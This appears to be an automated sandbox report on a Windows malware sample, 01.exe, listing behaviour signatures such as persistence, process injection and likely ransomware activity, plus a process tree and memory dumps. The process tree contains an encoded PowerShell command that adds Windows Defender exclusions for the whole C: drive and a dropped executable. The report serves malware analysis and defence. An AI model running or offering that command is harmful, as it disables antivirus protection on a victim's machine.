Analysis
- max time kernel
136s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
09/03/2022, 12:16
General
- Target 01.exe
- Size 108KB
- Sample220309-pff3cabcbq
- SHA256 686d56d6a2903bf7b2f9710f308046a91f5f9082db14a7470f93a59e9939ec4c
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\01.exe"C:\Users\Admin\AppData\Local\Temp\01.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 192⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\timeout.exetimeout 193⤵
- Delays execution with timeout.exe
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABYAGEAZwBzAGsAYwBpAHMAbAAxAFwAUgBwAHQAawB6ADEALgBlAHgAZQAnAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\01.exeC:\Users\Admin\AppData\Local\Temp\01.exe2⤵
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/180-161-0x0000000005570000-0x0000000005B14000-memory.dmp
memory/180-160-0x0000000075370000-0x0000000075B20000-memory.dmp
memory/180-158-0x0000000000400000-0x00000000004A0000-memory.dmp
memory/1012-130-0x0000000000B60000-0x0000000000B82000-memory.dmp
memory/1012-131-0x0000000075370000-0x0000000075B20000-memory.dmp
memory/1012-132-0x0000000005550000-0x0000000005551000-memory.dmp
memory/1012-133-0x0000000006BF0000-0x0000000006C40000-memory.dmp
memory/1012-134-0x0000000006D00000-0x0000000006DB2000-memory.dmp
memory/1012-135-0x0000000006DC0000-0x0000000006E52000-memory.dmp
memory/1012-136-0x0000000007410000-0x00000000079B4000-memory.dmp
memory/1536-146-0x0000000004C15000-0x0000000004C17000-memory.dmp
memory/1536-152-0x000000007FDF0000-0x000000007FDF1000-memory.dmp
memory/1536-143-0x0000000005A50000-0x0000000005AB6000-memory.dmp
memory/1536-144-0x0000000005B30000-0x0000000005B96000-memory.dmp
memory/1536-145-0x0000000006250000-0x000000000626E000-memory.dmp
memory/1536-141-0x0000000004C12000-0x0000000004C13000-memory.dmp
memory/1536-147-0x0000000006780000-0x00000000067B2000-memory.dmp
memory/1536-148-0x0000000070360000-0x00000000703AC000-memory.dmp
memory/1536-149-0x0000000006760000-0x000000000677E000-memory.dmp
memory/1536-150-0x0000000007B20000-0x000000000819A000-memory.dmp
memory/1536-151-0x00000000074E0000-0x00000000074FA000-memory.dmp
memory/1536-142-0x00000000058B0000-0x00000000058D2000-memory.dmp
memory/1536-153-0x0000000007550000-0x000000000755A000-memory.dmp
memory/1536-154-0x0000000007760000-0x00000000077F6000-memory.dmp
memory/1536-155-0x0000000007710000-0x000000000771E000-memory.dmp
memory/1536-156-0x0000000007820000-0x000000000783A000-memory.dmp
memory/1536-157-0x0000000007800000-0x0000000007808000-memory.dmp
memory/1536-140-0x0000000004C10000-0x0000000004C11000-memory.dmp
memory/1536-138-0x0000000075370000-0x0000000075B20000-memory.dmp
memory/1536-139-0x0000000005250000-0x0000000005878000-memory.dmp
memory/1536-137-0x0000000004B80000-0x0000000004BB6000-memory.dmp